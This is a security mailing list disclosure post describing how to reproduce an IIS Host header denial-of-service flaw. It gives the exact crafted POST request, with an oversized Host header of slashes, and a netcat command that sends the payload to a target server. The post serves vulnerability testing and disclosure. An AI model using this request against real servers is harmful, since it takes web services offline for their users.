full-disclosure - How to reproduce the IIS Host Header DOS

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From: Joe_Testa at rapid7.com (Joe Testa)
Subject: How to reproduce the IIS Host Header DOS

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- From the screenshots and descriptions given in
<http://online.securityfocus.com/bid/5907>, it's not clear *exactly* how to
reproduce the IIS Host header DoS.

A POST request like the following (between the [begin] and [end] lines)
will
manually reproduce the IIS DoS condition:


- -------------------------[begin]--------------------------------------
POST /_vti_bin/shtml.dll HTTP/1.0
Host: [32762 '/' characters]
Content-length:      22


http://www.rapid7.com/
- --------------------------[end]---------------------------------------


This will cause the web service to consume 99% of the CPU for about 35
seconds.  During this time, no other HTTP requests will be serviced.
Attached
to this email is the complete string to facilitate testing.  Use it with:

$ nc x.x.x.x 80 < iis_dos


   - Joe Testa, Rapid 7, Inc.
   http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x02B00839
   A145 B158 2CA7 00A2 BAE8  4A18 57E5 18E0 02B0 0839

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=RkVz
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(See attached file: iis_dos)
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